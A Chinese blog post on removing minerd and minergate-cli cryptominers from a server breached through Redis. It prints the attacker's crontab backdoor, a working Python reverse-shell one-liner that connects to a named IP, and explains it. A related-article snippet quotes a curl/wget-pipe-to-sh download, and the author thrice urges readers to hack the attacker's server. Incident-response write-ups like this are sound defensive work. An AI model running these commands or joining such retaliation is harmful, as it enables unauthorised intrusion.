redis的漏洞让公司的服务器中了挖矿的病毒,入侵者在服务器上留了后门。每次只是把进程杀杀,但是过段时间病毒又回来了,这个事情一直让人头疼。先是minerd的病毒入侵,后是minergate-cli入侵。当时以为是服务器的帐号密码被泄漏了,然后对服务器登录的ip一个个检查,对操作的shell一个个核对,都没有发现异常。这就奇怪了,不知道什么原因让病毒一直入侵。还是minergate-cli这个病毒的运行方式让我找到了问题的所在。以往的miner进程会让cpu跑到1000%的状态,kill的时候只用杀死一个进程就解决问题。后来的一个变种minergate-cli变花样了,开多个进程,每个进程占50-100%的cpu,这样干的目的就是让新手一个个的输入pid,非常耗时。正是这个现象让我想起来用脚本杀进程,脚本杀起来是爽,执行一下minergate-cli进程全没了,但是还是不够爽,手动多累啊,每天还要上来看看,把脚本放到定时任务多好。就是这个启发让我找到问题的所在,入侵者在定时任务留下后门,定时的会向病毒的服务器发送socket,建立连接后对方的服务器就可以正常往你的服务器发送命令,而且赋予了root权限。这样就可以解释为什么病毒执行的时候都是用root帐户运行的了。

  以下是定时任务的后门,在/etc/crontab文件中:

----------------------------------------------------------------------------------------------------

***** root  /usr/bin/python -c  'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("115.126.100.88",1050));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

-----------------------------------------------------------------------------------------------------

  命令解释:(python正向连接后门)新建一个socket,并将0、1、2分别代表系统的stdin、stdout、stderr(标准输入、输出、错误)重定向到socket中,然后开启一个shell。这样我们从socket中传来的命令就会进入系统的标准输入(就跟键盘输入的效果一样了),系统的输出和错误就会重定向到socket中,被我们客户端获取。但这个弹shell脚本只能在linux下使用。

  如果看不懂就用一句大白话解释:对方电脑可以操作你的电脑,而且获取了root权限!!!

  如果你懂如何黑服务器,在你空闲之于帮我黑黑115.126.100.88这台服务器!!!如果你懂如何黑服务器,在你空闲之于帮我黑黑115.126.100.88这台服务器!!!如果你懂如何黑服务器,在你空闲之于帮我黑黑115.126.100.88这台服务器!!!就是这台服务器往你电脑上发布病毒的。

  下面说说解决的步骤:

  1、用root用户写一个脚本,比如在/lib下新建一个minerKiller.sh   加入以下内容:(仅限病毒存在docker容器中,别的情况不适用)

---------------------------------------------------------------------------------------------------------------

ps -ef|grep minergate-cli|grep -v grep|awk '{print "kill -9 " $2}'|sh
sleep 5
docker rm $(docker ps -a -q)
docker rmi minecoins/minergate-cli

-------------------------------------------------------------------------------------------------------------------

  如果你是minerd病毒,把minergate-cli部分换成minerd即可。

  2、修改权限并运行

  chmod 700 /lib/minerKiller.sh

  ./lib/minerKiller.sh

  3、清理定时任务

  在以下三个地方查找:①/var/spool/cron/ ②/etc/crontab③/etc/cron.d/ 。如果被别人加上恶心的定时任务,直接删除掉。如果和我上面的一样,那肯定是中招了。如果在修改文件过程中以root帐户都无法修改,执行下面命令: chattr –i  文件路径 ,比如我root帐户不能修改/etc/crontab,执行 chattr -i /etc/crontab。然后root用户就可以修改了。

  4、如果不放心,可以将查杀病毒的脚本放进定时任务。

  用root帐户执行:crontab -e,进入文本后加入以下命令

-------------------------------------------------------------------------

30 0 * * * root /lib/minerKiller.sh

-------------------------------------------------------------------------

  系统就会定时执行刚刚写的查杀病毒的脚本了。

  

linux查杀minergate-cli/minerd病毒的更多相关文章

  1. Linux 查杀病毒的常见命令

    1. 查看异常连接的网络端口及其对应的相应的进程 netstat -anlp | grep EST 2.看下相关的进程ID对应的可执行文件的位置 ps 2393 可以看到进程的可执行文件在哪? 3.临 ...

  2. linux查杀病毒的几个思路

    1.  tmp 目录下面 2. 定时任务查找一下 crontab -e 3. 病毒要下载 ps -ef|egrep "curl|wget"  查看是否有下载的命令 4. top 一 ...

  3. Linux 查杀进程

    ps -eaf |grep "stoporder.php" | grep -v "grep"| awk '{print $2}'|xargs kill -9 # ...

  4. Linux查杀stopped进程

      在Linux系统下面,top命令可以查看查看stopped进程.但是不能查看stopped进程的详细信息.那么如何查看stopped 进程,并且杀掉这些stopped进程呢? ps -e j | ...

  5. Linux服务器感染kerberods病毒 | 挖矿病毒查杀及分析 | (curl -fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org)|sh)

    概要: 一.症状及表现 二.查杀方法 三.病毒分析 四.安全防护 五.参考文章 一.症状及表现 1.CPU使用率异常,top命令显示CPU统计数数据均为0,利用busybox 查看CPU占用率之后,发 ...

  6. 病毒木马查杀实战第009篇:QQ盗号木马之手动查杀

    前言 之前在<病毒木马查杀第002篇:熊猫烧香之手动查杀>中,我在不借助任何工具的情况下,基本实现了对于"熊猫烧香"病毒的查杀.但是毕竟"熊猫烧香" ...

  7. 病毒木马查杀实战第025篇:JS下载者脚本木马的分析与防御

    前言 这次我与大家分享的是我所总结的关于JS下载者脚本木马的分析与防御技术.之所以要选择这样的一个题目,是因为在日常的病毒分析工作中,每天都会遇到这类病毒样本,少则几个,多则几十个(当然了,更多的样本 ...

  8. centos clamav杀毒软件安装配置及查杀,没想到linux下病毒比windows还多!

    centos clamav杀毒软件安装配置及查杀,没想到linux下病毒比windows还多! 一.手动安装 1.下载(官网)    cd /soft     wget http://www.clam ...

  9. Linux服务器后门自动化查杀教程

    一.说明 如果出现文件上传漏洞和命令执行类漏洞(包括命令注入.缓冲区溢出.反序列化等)都会让人担心,系统是否系统已被上传webshell甚至植入木马程序.如果依靠人工排查,一是工作量大二是需要一定程度 ...

随机推荐

  1. java:Maven(Maven_ssm)

    1.maven_ssm: DOS命令向maven仓库导入jar包: mvn install:install-file -Dfile=F:\jars\json-lib-2.4-jdk15.jar -Dg ...

  2. 在线运行.NET代码

    https://dotnetfiddle.net/ https://try.dot.net/ C# 发送Http协议 模拟 Post Get请求 1.参数 paramsValue的格式 要和 Requ ...

  3. Selenium+java自动化测试常用知识点

    一.元素的定位 1.通过ID定位元素: findElement(By.id(element)); 2.通过元素的名称定位元素: findElement(By.name(element)); 3.通过元 ...

  4. EINT DINT ERTM DRTM EALLOW EDIS ESTOP0的理解

    本文参考以下资料整理 https://wenku.baidu.com/view/6b0d6906cf84b9d528ea7a66.html http://pangqicheng123.blog.163 ...

  5. [开发技巧]·pandas如何保存numpy元素

    [开发技巧]·pandas如何保存numpy元素 ​ 1.问题描述 在开发的过程中遇到一个问题,就是需要把numpy作为pandas的一个元素进行保存,注意不是作为一列元素.但是实践的过程中却不顺利, ...

  6. 《React+Redux前端开发实战》笔记2:基于Webpack构建的Hello World案例(上)

    这次搭建分为两部分:一部分是前期必要配置,一部分是开发React代码. [基于Webpack的React Hello World项目] 1.前期必要配置 (1)首先要确保读者的开发设备上已经安装过No ...

  7. go的变量定义

    package main //理解包的概念 import "fmt" var ( aa = 1 bb = "kkk" ss = true) func varia ...

  8. Akka系列(十):Akka集群之Akka Cluster

    前言........... 上一篇文章我们讲了Akka Remote,理解了Akka中的远程通信,其实Akka Cluster可以看成Akka Remote的扩展,由原来的两点变成由多点组成的通信网络 ...

  9. show slave status参数详解

    root@localhost (none)>show slave status\G *************************** 1. row ******************** ...

  10. spring boot-17.RabbitMQ

    1.JMS&AMQP JMS(Java MessageService)实际上是指JMS API.JMS是由Sun公司早期提出的消息标准,旨在为java应用提供统一的消息操作,包括create. ...